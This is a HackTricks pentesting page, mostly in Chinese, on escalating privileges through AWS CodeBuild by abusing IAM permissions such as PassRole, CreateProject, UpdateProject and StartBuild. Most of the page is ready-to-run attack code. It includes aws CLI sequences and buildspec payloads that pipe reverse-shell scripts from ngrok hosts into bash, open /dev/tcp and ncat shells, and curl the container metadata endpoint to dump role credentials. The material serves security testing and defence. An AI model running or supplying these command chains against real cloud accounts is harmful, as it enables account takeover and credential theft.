AWS - Codebuild Privesc

支持 HackTricks

codebuild

获取更多信息:

AWS - Codebuild Enum

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

拥有 iam:PassRolecodebuild:CreateProjectcodebuild:StartBuildcodebuild:StartBuildBatch 权限的攻击者可以通过创建并运行一个 codebuild 项目来提升到任何 codebuild IAM 角色的权限

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potential Impact: 直接提升权限到任何 AWS Codebuild 角色。

在一个 Codebuild 容器 中,文件 /codebuild/output/tmp/env.sh 包含了访问 metadata credentials 所需的所有环境变量。

这个文件包含 环境变量 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI,其中包含了访问凭证的 URL 路径。它会是类似这样的路径 /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

将其添加到 URL http://169.254.170.2/,你就可以转储角色凭证。

此外,它还包含 环境变量 ECS_CONTAINER_METADATA_URI,其中包含获取 容器元数据信息 的完整 URL。

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

就像在前一节中一样,如果你可以修改构建项目而不是创建它,你可以指定 IAM 角色并窃取令牌。

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

潜在影响: 直接提升权限到任何 AWS Codebuild 角色。

codebuild:StartBuild | codebuild:StartBuildBatch

只需要其中一个权限就足以触发一个带有新 buildspec 的构建,并窃取分配给项目的 iam 角色的令牌:

cat > /tmp/builspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/builspec.yml

潜在影响: 直接提升到附加的 AWS Codebuild 角色。

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

如前一节所述,但没有 iam:PassRole 权限,您可以滥用这些权限修改现有的 Codebuild 项目并访问它们已分配的角色

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

潜在影响: 直接提升到附加的AWS Codebuild角色。

SSM

拥有足够的权限启动一个ssm会话,可以进入一个正在构建的Codebuild项目

Codebuild项目需要有一个断点:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

然后:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

有关更多信息,请查看文档

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

能够启动/重新启动特定CodeBuild项目构建的攻击者,如果该项目将其buildspec.yml文件存储在攻击者有写入权限的S3 bucket中,可以在CodeBuild进程中获得命令执行权限。

注意:此升级仅在CodeBuild worker具有不同角色(希望比攻击者的角色更高权限)的情况下相关。

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

你可以使用类似这样的 builspec 来获取一个 reverse shell

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: 直接提升到通常具有高权限的AWS CodeBuild工作角色。

请注意,buildspec可能需要以zip格式提供,因此攻击者需要下载、解压、从根目录修改buildspec.yml,再重新压缩并上传。

更多详情可以在这里找到。

Potential Impact: 直接提升到附加的AWS Codebuild角色。

支持HackTricks

Last updated